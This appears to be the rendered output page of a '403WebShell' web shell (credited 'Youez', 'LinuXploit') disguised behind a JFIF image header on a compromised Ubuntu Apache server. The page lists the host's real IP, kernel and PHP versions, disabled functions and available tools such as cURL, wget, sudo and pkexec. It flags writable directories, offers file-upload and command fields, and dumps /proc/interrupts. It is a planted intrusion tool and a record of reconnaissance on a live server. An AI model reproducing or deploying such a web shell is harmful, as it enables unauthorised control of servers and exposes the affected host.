????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc//interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
   0:         20          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      timer
   8:        323          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      rtc0
   9:          2          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   acpi
  10:        109          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      ipmi_si
  22:         75          0         25          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb2
  23:        194          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb1
  72:          0          0          0          0          0          0          0          0          0          0          0          0  DMAR_MSI-edge      dmar0
  73:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  74:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  75:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  76:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  77:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  78:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  79:   56027232   52524105   45380893   64626277   83824636  104675617          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  80:   44802019   39273248   27586431   32627066   40569343   50132722          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  81:   42643474   35533647   26967954   30624097   39405379   47849165          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  82:   64445678   45369049   40043690   38568813   62208740   77508610          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  83:   74547439   47843521   41702902   58398468   59182596   91295739          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  84:  103348658   43593067   46806491   73248104   99980244   99983900          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  85:    4201545    8204142    3691418    4105674    5493444    4776564          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  86:    3946587    6241549    3120506    3297022    4954847    4212303          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  87:    3570070    6113807    3027702    2977958    3768110    3989517          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  88:    5346413    6667664    3479818    3237515    5363603    4649079          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  89:    5434336    6520604    3725962    4758063    4379223    5140986          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  90:    6366391    6522512    3910573    4600738    6549661    4806404          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  91:    7002040   12504384    7574880    5192629   10383156   13605991          0          0          0          0          0          0  IR-PCI-MSI-edge      ahci
  92:         12          0 1185813157          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-tx-0
  93:          1          0          0 2410067535          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-1
  94:          1          0          0          0 1892229824          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-2
  95:          1          0          0          0          0 2231724740          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-3
  96: 2161260947          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-4
 NMI:    2993134    2789196    2779072    2755304    2906448    3002556    1656777    1672544    1690945    1661054    1667994    1653528   Non-maskable interrupts
 LOC: 2753743015 2326541897 2338306541 2342802387 2572269254 2764314538 3957659533 3828414425 3857613828 3800325969 3822433081 3790889130   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:    2993134    2789196    2779072    2755304    2906448    3002556    1656777    1672544    1690945    1661054    1667994    1653528   Performance monitoring interrupts
 IWI:   73389548  101103019   92854205   40093664   67381451   71887040   24417898   25750231   24641468   31615113   28608902   26804743   IRQ work interrupts
 RTR:         11          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:  377337509  301344535  280365510  336524725  322248659  324814236  136370904  136569748  133622318  133167664  132972649  132351522   Rescheduling interrupts
 CAL:   24240866   19942713   18865346   21521833   23509523   24636102   10275086   10789614   10963986   10900307   11149208   10541015   Function call interrupts
 TLB:   20783724   17088138   16008725   18450312   20199659   21072297    9528022   10014695   10209806   10137526   10397986    9766780   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:     384091     384091     384091     384091     384091     384091     384091     384091     384091     384091     384091     384091   Machine check polls
 ERR:          0
 MIS:          0

Youez - 2016 - github.com/yon3zu
LinuXploit